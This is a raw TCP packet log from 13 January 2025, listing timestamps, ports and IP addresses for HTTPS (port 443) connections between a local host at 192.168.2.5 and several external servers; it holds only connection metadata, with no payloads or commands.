Jan 13, 2025 20:18:33.319530010 CET	443	49849	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:33.319667101 CET	49849	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:33.319930077 CET	49849	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:33.319948912 CET	443	49849	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:33.326198101 CET	443	49847	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:33.326361895 CET	443	49847	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:33.326482058 CET	49847	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:33.326569080 CET	49847	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:33.326591015 CET	443	49847	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:33.339704990 CET	443	49848	162.159.61.3	192.168.2.5
Jan 13, 2025 20:18:33.339792013 CET	49848	443	192.168.2.5	162.159.61.3
Jan 13, 2025 20:18:33.340004921 CET	49848	443	192.168.2.5	162.159.61.3
Jan 13, 2025 20:18:33.340020895 CET	443	49848	162.159.61.3	192.168.2.5
Jan 13, 2025 20:18:34.500176907 CET	443	49836	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:34.500236034 CET	443	49836	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:34.500267982 CET	49836	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:34.500298977 CET	49836	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:34.501446962 CET	443	49857	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:34.501509905 CET	49857	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:34.501738071 CET	49836	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:34.501753092 CET	443	49836	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:34.504499912 CET	49857	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:34.504508018 CET	443	49857	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:34.508027077 CET	49857	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:34.508034945 CET	443	49857	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:34.508339882 CET	49857	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:34.508368969 CET	443	49857	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:34.508529902 CET	49857	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:34.508559942 CET	443	49857	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:34.508850098 CET	49857	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:34.508876085 CET	443	49857	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:35.109941959 CET	49868	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.110042095 CET	443	49868	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:35.110129118 CET	49868	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.110191107 CET	49869	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.110285044 CET	443	49869	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:35.110354900 CET	49870	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.110375881 CET	443	49870	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:35.110398054 CET	49869	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.110527992 CET	49870	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.110738993 CET	49871	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.110760927 CET	443	49871	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:35.110888958 CET	49871	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.111901045 CET	49870	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.111937046 CET	443	49870	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:35.112211943 CET	49869	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.112243891 CET	443	49869	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:35.112333059 CET	49868	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.112363100 CET	443	49868	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:35.112663984 CET	49871	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.112684011 CET	443	49871	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:35.135200024 CET	49872	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.135292053 CET	443	49872	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:35.135396004 CET	49872	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.135602951 CET	49873	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.135634899 CET	443	49873	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:35.135684967 CET	49873	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.137155056 CET	49873	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.137171030 CET	443	49873	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:35.137320995 CET	49872	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.137353897 CET	443	49872	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:35.147727013 CET	49874	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:35.147752047 CET	443	49874	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:35.147834063 CET	49874	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:35.148513079 CET	49874	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:35.148523092 CET	443	49874	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:35.366019011 CET	49875	443	192.168.2.5	108.139.47.92
Jan 13, 2025 20:18:35.366111040 CET	443	49875	108.139.47.92	192.168.2.5
Jan 13, 2025 20:18:35.366223097 CET	49875	443	192.168.2.5	108.139.47.92
Jan 13, 2025 20:18:35.367450953 CET	49877	443	192.168.2.5	20.42.73.26
Jan 13, 2025 20:18:35.367486954 CET	443	49877	20.42.73.26	192.168.2.5
Jan 13, 2025 20:18:35.367610931 CET	49875	443	192.168.2.5	108.139.47.92
Jan 13, 2025 20:18:35.367631912 CET	49877	443	192.168.2.5	20.42.73.26
Jan 13, 2025 20:18:35.367652893 CET	443	49875	108.139.47.92	192.168.2.5
Jan 13, 2025 20:18:35.369678020 CET	49877	443	192.168.2.5	20.42.73.26
Jan 13, 2025 20:18:35.369688988 CET	443	49877	20.42.73.26	192.168.2.5
Jan 13, 2025 20:18:35.370830059 CET	49884	443	192.168.2.5	20.110.205.119
Jan 13, 2025 20:18:35.370847940 CET	443	49884	20.110.205.119	192.168.2.5
Jan 13, 2025 20:18:35.370971918 CET	49884	443	192.168.2.5	20.110.205.119
Jan 13, 2025 20:18:35.371229887 CET	49884	443	192.168.2.5	20.110.205.119
Jan 13, 2025 20:18:35.371253967 CET	443	49884	20.110.205.119	192.168.2.5
Jan 13, 2025 20:18:35.557789087 CET	443	49857	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:35.557871103 CET	49857	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:35.557885885 CET	443	49857	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:35.557900906 CET	443	49857	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:35.557928085 CET	49857	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:35.557944059 CET	49857	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:35.568144083 CET	443	49870	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:35.571217060 CET	443	49871	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:35.572063923 CET	49870	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.572128057 CET	443	49870	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:35.572635889 CET	443	49870	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:35.573084116 CET	443	49869	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:35.573630095 CET	49870	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.573726892 CET	443	49870	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:35.573807001 CET	49871	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.573869944 CET	443	49871	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:35.574165106 CET	49869	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.574182987 CET	443	49869	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:35.575174093 CET	443	49869	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:35.575301886 CET	443	49871	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:35.575437069 CET	49871	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.575649977 CET	49869	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.575746059 CET	443	49869	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:35.576787949 CET	49871	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.576875925 CET	443	49871	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:35.580225945 CET	49857	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:35.580255032 CET	443	49857	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:35.592457056 CET	443	49868	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:35.593563080 CET	49868	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.593580008 CET	443	49868	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:35.596986055 CET	443	49868	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:35.597064018 CET	49868	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.597425938 CET	49868	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.597516060 CET	443	49868	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:35.607444048 CET	443	49872	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:35.610711098 CET	49872	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.610729933 CET	443	49872	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:35.614331007 CET	443	49872	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:35.614406109 CET	49872	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.616039038 CET	49872	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.616158962 CET	443	49872	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:35.619745016 CET	443	49873	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:35.620028019 CET	49873	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.620058060 CET	443	49873	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:35.623660088 CET	443	49873	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:35.623733044 CET	49873	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.624022007 CET	49873	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.624205112 CET	443	49873	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:35.626847029 CET	49870	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.626977921 CET	49869	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.627409935 CET	49871	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.627445936 CET	443	49871	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:35.644615889 CET	49868	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.644634962 CET	443	49868	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:35.657486916 CET	49872	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.657496929 CET	443	49872	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:35.674746037 CET	49873	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.674765110 CET	443	49873	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:35.674822092 CET	49871	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.690745115 CET	49868	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.706851959 CET	49872	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.722753048 CET	49873	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:35.793059111 CET	443	49874	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:35.793917894 CET	49874	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:35.918806076 CET	443	49875	108.139.47.92	192.168.2.5
Jan 13, 2025 20:18:35.933667898 CET	49875	443	192.168.2.5	108.139.47.92
Jan 13, 2025 20:18:35.933697939 CET	443	49875	108.139.47.92	192.168.2.5
Jan 13, 2025 20:18:35.936309099 CET	443	49875	108.139.47.92	192.168.2.5
Jan 13, 2025 20:18:35.936383009 CET	49875	443	192.168.2.5	108.139.47.92
Jan 13, 2025 20:18:35.941103935 CET	49875	443	192.168.2.5	108.139.47.92
Jan 13, 2025 20:18:35.941340923 CET	443	49875	108.139.47.92	192.168.2.5
Jan 13, 2025 20:18:35.949554920 CET	443	49877	20.42.73.26	192.168.2.5
Jan 13, 2025 20:18:35.950732946 CET	49875	443	192.168.2.5	108.139.47.92
Jan 13, 2025 20:18:35.950748920 CET	443	49875	108.139.47.92	192.168.2.5
Jan 13, 2025 20:18:35.951416969 CET	443	49884	20.110.205.119	192.168.2.5
Jan 13, 2025 20:18:35.952218056 CET	49877	443	192.168.2.5	20.42.73.26
Jan 13, 2025 20:18:35.952235937 CET	443	49877	20.42.73.26	192.168.2.5
Jan 13, 2025 20:18:35.953144073 CET	443	49877	20.42.73.26	192.168.2.5
Jan 13, 2025 20:18:35.953197956 CET	49877	443	192.168.2.5	20.42.73.26
Jan 13, 2025 20:18:35.954009056 CET	49884	443	192.168.2.5	20.110.205.119
Jan 13, 2025 20:18:35.954025984 CET	443	49884	20.110.205.119	192.168.2.5
Jan 13, 2025 20:18:35.955030918 CET	443	49884	20.110.205.119	192.168.2.5
Jan 13, 2025 20:18:35.955106020 CET	49884	443	192.168.2.5	20.110.205.119
Jan 13, 2025 20:18:35.955629110 CET	49877	443	192.168.2.5	20.42.73.26
Jan 13, 2025 20:18:35.955689907 CET	443	49877	20.42.73.26	192.168.2.5
Jan 13, 2025 20:18:35.957175970 CET	49884	443	192.168.2.5	20.110.205.119
Jan 13, 2025 20:18:35.957252979 CET	443	49884	20.110.205.119	192.168.2.5
Jan 13, 2025 20:18:35.957300901 CET	49877	443	192.168.2.5	20.42.73.26
Jan 13, 2025 20:18:35.957307100 CET	443	49877	20.42.73.26	192.168.2.5
Jan 13, 2025 20:18:35.957415104 CET	49877	443	192.168.2.5	20.42.73.26
Jan 13, 2025 20:18:35.957442045 CET	443	49877	20.42.73.26	192.168.2.5
Jan 13, 2025 20:18:35.957648993 CET	49884	443	192.168.2.5	20.110.205.119
Jan 13, 2025 20:18:35.957663059 CET	443	49884	20.110.205.119	192.168.2.5
Jan 13, 2025 20:18:35.989912033 CET	49874	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:35.989981890 CET	443	49874	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:35.992422104 CET	49874	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:35.992438078 CET	443	49874	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:35.992599964 CET	49874	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:35.992626905 CET	443	49874	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:35.992777109 CET	49874	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:35.992816925 CET	443	49874	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:35.992836952 CET	49874	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:35.992856026 CET	443	49874	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:35.992878914 CET	49874	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:35.992891073 CET	443	49874	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:35.992996931 CET	49874	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:35.993036032 CET	49874	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:35.993063927 CET	49874	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:35.993124962 CET	443	49874	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:35.993254900 CET	49874	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:35.993298054 CET	443	49874	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:35.993479967 CET	49874	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:35.993520021 CET	443	49874	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:35.993524075 CET	49874	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:35.993545055 CET	443	49874	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:35.993582010 CET	49874	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:35.993604898 CET	443	49874	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:35.993629932 CET	49874	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:35.993666887 CET	443	49874	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:35.993671894 CET	49874	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:35.993707895 CET	443	49874	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:35.993818045 CET	49874	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:35.993839979 CET	443	49874	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:35.993860006 CET	49874	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:35.993889093 CET	443	49874	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:35.993906975 CET	49874	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:35.993921995 CET	443	49874	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:35.994035006 CET	49874	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:35.994055033 CET	443	49874	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:35.994096041 CET	49874	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:35.994115114 CET	443	49874	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:35.994129896 CET	49874	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:36.002036095 CET	49877	443	192.168.2.5	20.42.73.26
Jan 13, 2025 20:18:36.002044916 CET	49875	443	192.168.2.5	108.139.47.92
Jan 13, 2025 20:18:36.002048016 CET	49884	443	192.168.2.5	20.110.205.119
Jan 13, 2025 20:18:36.003166914 CET	443	49874	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:36.056770086 CET	443	49875	108.139.47.92	192.168.2.5
Jan 13, 2025 20:18:36.056893110 CET	443	49875	108.139.47.92	192.168.2.5
Jan 13, 2025 20:18:36.056965113 CET	49875	443	192.168.2.5	108.139.47.92
Jan 13, 2025 20:18:36.067357063 CET	443	49877	20.42.73.26	192.168.2.5
Jan 13, 2025 20:18:36.067605972 CET	443	49877	20.42.73.26	192.168.2.5
Jan 13, 2025 20:18:36.067658901 CET	49877	443	192.168.2.5	20.42.73.26
Jan 13, 2025 20:18:36.068878889 CET	49877	443	192.168.2.5	20.42.73.26
Jan 13, 2025 20:18:36.068890095 CET	443	49877	20.42.73.26	192.168.2.5
Jan 13, 2025 20:18:36.088778973 CET	49875	443	192.168.2.5	108.139.47.92
Jan 13, 2025 20:18:36.088849068 CET	443	49875	108.139.47.92	192.168.2.5
Jan 13, 2025 20:18:36.150022030 CET	49892	443	192.168.2.5	108.139.47.92
Jan 13, 2025 20:18:36.150074005 CET	443	49892	108.139.47.92	192.168.2.5
Jan 13, 2025 20:18:36.150146961 CET	49892	443	192.168.2.5	108.139.47.92
Jan 13, 2025 20:18:36.150587082 CET	49892	443	192.168.2.5	108.139.47.92
Jan 13, 2025 20:18:36.150625944 CET	443	49892	108.139.47.92	192.168.2.5
Jan 13, 2025 20:18:36.161391020 CET	443	49884	20.110.205.119	192.168.2.5
Jan 13, 2025 20:18:36.161468029 CET	443	49884	20.110.205.119	192.168.2.5
Jan 13, 2025 20:18:36.161523104 CET	49884	443	192.168.2.5	20.110.205.119
Jan 13, 2025 20:18:36.165463924 CET	49884	443	192.168.2.5	20.110.205.119
Jan 13, 2025 20:18:36.165502071 CET	443	49884	20.110.205.119	192.168.2.5
Jan 13, 2025 20:18:36.487879992 CET	49904	443	192.168.2.5	23.44.203.172
Jan 13, 2025 20:18:36.487925053 CET	443	49904	23.44.203.172	192.168.2.5
Jan 13, 2025 20:18:36.487991095 CET	49904	443	192.168.2.5	23.44.203.172
Jan 13, 2025 20:18:36.488646030 CET	49905	443	192.168.2.5	23.44.203.172
Jan 13, 2025 20:18:36.488681078 CET	443	49905	23.44.203.172	192.168.2.5
Jan 13, 2025 20:18:36.488768101 CET	49905	443	192.168.2.5	23.44.203.172
Jan 13, 2025 20:18:36.489820004 CET	49904	443	192.168.2.5	23.44.203.172
Jan 13, 2025 20:18:36.489845991 CET	443	49904	23.44.203.172	192.168.2.5
Jan 13, 2025 20:18:36.490278006 CET	49906	443	192.168.2.5	204.79.197.219
Jan 13, 2025 20:18:36.490339994 CET	443	49906	204.79.197.219	192.168.2.5
Jan 13, 2025 20:18:36.490417004 CET	49906	443	192.168.2.5	204.79.197.219
Jan 13, 2025 20:18:36.490674019 CET	49905	443	192.168.2.5	23.44.203.172
Jan 13, 2025 20:18:36.490685940 CET	443	49905	23.44.203.172	192.168.2.5
Jan 13, 2025 20:18:36.490977049 CET	49906	443	192.168.2.5	204.79.197.219
Jan 13, 2025 20:18:36.491010904 CET	443	49906	204.79.197.219	192.168.2.5
Jan 13, 2025 20:18:36.492820978 CET	49907	443	192.168.2.5	204.79.197.219
Jan 13, 2025 20:18:36.492862940 CET	443	49907	204.79.197.219	192.168.2.5
Jan 13, 2025 20:18:36.493048906 CET	49907	443	192.168.2.5	204.79.197.219
Jan 13, 2025 20:18:36.493179083 CET	49907	443	192.168.2.5	204.79.197.219
Jan 13, 2025 20:18:36.493191004 CET	443	49907	204.79.197.219	192.168.2.5
Jan 13, 2025 20:18:36.561777115 CET	49909	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:36.561836958 CET	443	49909	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:36.561978102 CET	49909	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:36.562244892 CET	49909	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:36.562267065 CET	443	49909	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:36.706908941 CET	443	49892	108.139.47.92	192.168.2.5
Jan 13, 2025 20:18:36.707289934 CET	49892	443	192.168.2.5	108.139.47.92
Jan 13, 2025 20:18:36.707321882 CET	443	49892	108.139.47.92	192.168.2.5
Jan 13, 2025 20:18:36.708688021 CET	443	49892	108.139.47.92	192.168.2.5
Jan 13, 2025 20:18:36.709007978 CET	49892	443	192.168.2.5	108.139.47.92
Jan 13, 2025 20:18:36.709156990 CET	49892	443	192.168.2.5	108.139.47.92
Jan 13, 2025 20:18:36.709162951 CET	443	49892	108.139.47.92	192.168.2.5
Jan 13, 2025 20:18:36.709187984 CET	443	49892	108.139.47.92	192.168.2.5
Jan 13, 2025 20:18:36.752588034 CET	49892	443	192.168.2.5	108.139.47.92
Jan 13, 2025 20:18:36.819396973 CET	443	49892	108.139.47.92	192.168.2.5
Jan 13, 2025 20:18:36.819576025 CET	443	49892	108.139.47.92	192.168.2.5
Jan 13, 2025 20:18:36.819660902 CET	49892	443	192.168.2.5	108.139.47.92
Jan 13, 2025 20:18:36.820612907 CET	49892	443	192.168.2.5	108.139.47.92
Jan 13, 2025 20:18:36.820652962 CET	443	49892	108.139.47.92	192.168.2.5
Jan 13, 2025 20:18:36.977281094 CET	49912	443	192.168.2.5	20.110.205.119
Jan 13, 2025 20:18:36.977349043 CET	443	49912	20.110.205.119	192.168.2.5
Jan 13, 2025 20:18:36.978106976 CET	49912	443	192.168.2.5	20.110.205.119
Jan 13, 2025 20:18:36.978300095 CET	49912	443	192.168.2.5	20.110.205.119
Jan 13, 2025 20:18:36.978322029 CET	443	49912	20.110.205.119	192.168.2.5
Jan 13, 2025 20:18:36.985085964 CET	443	49905	23.44.203.172	192.168.2.5
Jan 13, 2025 20:18:36.985655069 CET	49905	443	192.168.2.5	23.44.203.172
Jan 13, 2025 20:18:36.985680103 CET	443	49905	23.44.203.172	192.168.2.5
Jan 13, 2025 20:18:36.987133026 CET	443	49905	23.44.203.172	192.168.2.5
Jan 13, 2025 20:18:36.987212896 CET	49905	443	192.168.2.5	23.44.203.172
Jan 13, 2025 20:18:36.988086939 CET	443	49904	23.44.203.172	192.168.2.5
Jan 13, 2025 20:18:36.989475965 CET	49905	443	192.168.2.5	23.44.203.172
Jan 13, 2025 20:18:36.989567041 CET	443	49905	23.44.203.172	192.168.2.5
Jan 13, 2025 20:18:36.990677118 CET	49904	443	192.168.2.5	23.44.203.172
Jan 13, 2025 20:18:36.990688086 CET	443	49904	23.44.203.172	192.168.2.5
Jan 13, 2025 20:18:36.994303942 CET	443	49904	23.44.203.172	192.168.2.5
Jan 13, 2025 20:18:36.994431973 CET	49904	443	192.168.2.5	23.44.203.172
Jan 13, 2025 20:18:36.995476961 CET	49904	443	192.168.2.5	23.44.203.172
Jan 13, 2025 20:18:36.995656967 CET	443	49904	23.44.203.172	192.168.2.5
Jan 13, 2025 20:18:37.036053896 CET	49905	443	192.168.2.5	23.44.203.172
Jan 13, 2025 20:18:37.036056042 CET	49904	443	192.168.2.5	23.44.203.172
Jan 13, 2025 20:18:37.036075115 CET	443	49904	23.44.203.172	192.168.2.5
Jan 13, 2025 20:18:37.036078930 CET	443	49905	23.44.203.172	192.168.2.5
Jan 13, 2025 20:18:37.080522060 CET	49905	443	192.168.2.5	23.44.203.172
Jan 13, 2025 20:18:37.080559015 CET	49904	443	192.168.2.5	23.44.203.172
Jan 13, 2025 20:18:37.109800100 CET	443	49907	204.79.197.219	192.168.2.5
Jan 13, 2025 20:18:37.109951019 CET	49907	443	192.168.2.5	204.79.197.219
Jan 13, 2025 20:18:37.109963894 CET	443	49907	204.79.197.219	192.168.2.5
Jan 13, 2025 20:18:37.111665964 CET	443	49907	204.79.197.219	192.168.2.5
Jan 13, 2025 20:18:37.111742020 CET	49907	443	192.168.2.5	204.79.197.219
Jan 13, 2025 20:18:37.114068985 CET	49907	443	192.168.2.5	204.79.197.219
Jan 13, 2025 20:18:37.114154100 CET	443	49907	204.79.197.219	192.168.2.5
Jan 13, 2025 20:18:37.131876945 CET	443	49906	204.79.197.219	192.168.2.5
Jan 13, 2025 20:18:37.132487059 CET	49906	443	192.168.2.5	204.79.197.219
Jan 13, 2025 20:18:37.132529020 CET	443	49906	204.79.197.219	192.168.2.5
Jan 13, 2025 20:18:37.136060953 CET	443	49906	204.79.197.219	192.168.2.5
Jan 13, 2025 20:18:37.136147022 CET	49906	443	192.168.2.5	204.79.197.219
Jan 13, 2025 20:18:37.136715889 CET	49906	443	192.168.2.5	204.79.197.219
Jan 13, 2025 20:18:37.136811018 CET	443	49906	204.79.197.219	192.168.2.5
Jan 13, 2025 20:18:37.158910990 CET	49907	443	192.168.2.5	204.79.197.219
Jan 13, 2025 20:18:37.158922911 CET	443	49907	204.79.197.219	192.168.2.5
Jan 13, 2025 20:18:37.178513050 CET	49906	443	192.168.2.5	204.79.197.219
Jan 13, 2025 20:18:37.178575993 CET	443	49906	204.79.197.219	192.168.2.5
Jan 13, 2025 20:18:37.205374956 CET	49907	443	192.168.2.5	204.79.197.219
Jan 13, 2025 20:18:37.220886946 CET	49906	443	192.168.2.5	204.79.197.219
Jan 13, 2025 20:18:37.259546041 CET	443	49909	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:37.259713888 CET	49909	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:37.279828072 CET	49909	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:37.279839993 CET	443	49909	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:37.281361103 CET	49909	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:37.281371117 CET	443	49909	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:37.281475067 CET	49909	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:37.281497955 CET	443	49909	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:37.281513929 CET	49909	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:37.281523943 CET	443	49909	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:37.284002066 CET	49909	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:37.284043074 CET	443	49909	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:37.284293890 CET	49909	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:37.284405947 CET	443	49909	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:37.285185099 CET	49909	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:37.285207987 CET	443	49909	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:37.285253048 CET	49909	443	192.168.2.5	116.203.11.8
Jan 13, 2025 20:18:37.285269976 CET	443	49909	116.203.11.8	192.168.2.5
Jan 13, 2025 20:18:37.285315037 CET	49909	443	192.168.2.5	116.203.11.8
